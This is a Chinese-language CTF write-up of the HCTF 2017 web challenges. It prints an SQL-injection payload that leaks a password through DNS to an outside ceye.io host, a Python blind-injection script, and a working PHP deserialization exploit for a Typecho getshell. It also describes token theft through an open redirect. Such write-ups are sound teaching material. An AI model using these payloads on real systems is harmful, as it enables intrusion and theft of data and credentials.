文章目录
  1. Level-1
    1. easy_sign_in
  2. Level-2
    1. boring website
  3. Level-3
    1. SQL Sliencer
    2. A World Restored

hctf2017 web writeup

Level-1

easy_sign_in

登陆之后chrome说您的链接不是私密连接,查看证书,证书中提示flag在某个ip中,访问就可以得到flag。

1

Level-2

boring website

用我自己写的扫源码神器biubiubiu扫出http://106.15.53.124:38324/www.zip

之后是一个注入,在源码中有两个提示:OOB和server link。刘师傅想了一下午决定使用openquery函数,利用mssql连接MySQL,再用mysql的oob得到数据

1
http://106.15.53.124:38324/?id=1;select * from openquery(mysql,'select load_file(concat("\\\\",(select password from webwebweb.secret where name="flag" limit 0,1),".ikyzvu.ceye.io\\1.txt"));')

Level-3

SQL Sliencer

注入就是纯粹的注入。

这题在结束后得知有三种做法:

  1. 常规方法是盲注:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

flag = ""

def sql(bg,ed,num):
guess = (bg+ed)/2
if ed-bg==1:
return chr(guess+1)
url = "http://sqls.2017.hctf.io/index/index.php?id=2/(select(case%0awhen%0aascii(substr((select(flag)from(flag)where%0aflag%0anot%0alike%0aunhex(256125))%0afrom%0a"+str(num)+"))>"+str(guess)+"%0athen%0a1%0aelse%0a0%0aend))"
print url
request = requests.get(url).text
if request.find("error") > 0:
return sql(bg,guess,num)
elif request.find("Bob") > 0:
return sql(guess,ed,num)

for i in range(1,50):
flag += sql(10,140,i)
print flag

得益于刘师傅教的最小二分法,40多位的flag两分钟左右就能跑出来。

  1. 先定义变量后拼接绕开union all select xxx from,将select xxx from定义到变量中,后拼接到union后。
  2. preg_match的超长字符绕过,这道题传参用的GET,服务器接不了那么大的数据就reset了。

得到flag:./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/ 是一个地址,里面有一个typecho,前段时间的getshell。用scandir读目录,用file_get_contents读flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;

public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = 'var_dump(file_get_contents("/flag_is_here/flag"))';
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

A World Restored

这道题比赛中没有做出来,看了柠檬叔叔的wp,原来只差最后一步。

比赛环境已经关掉了,凭记忆写一点。

这道题的环境开着CSP,在default-src部署了nonce,nonce是必须脚本待着nonce-xxxxx才可以执行的一种白名单机制,由于每一次nonce都不一样,所以注入进的script标签无法猜测nonce导致无法执行。

这道题有两个域名:

http://messbox.2017.hctf.io/http://auth.2017.hctf.io/ ,后者为身份认证平台,分发token,利用token登陆。这道题目的考点是,登陆验证是用token验证。如果获得管理员token就可以利用管理员身份登陆。在输入用户名密码之后会进入,auth会利用js的location跳转到messbox,url大致是:http://auth.2017.hctf.io/login.php?n_url=messbox.2017.hctf.io/index.php&token=xxxxxx 由于n_url可控,所以把n_url替换成自己的网址,发给管理员。管理员必然有token。

getflag

支持一下
扫一扫,支持forsigner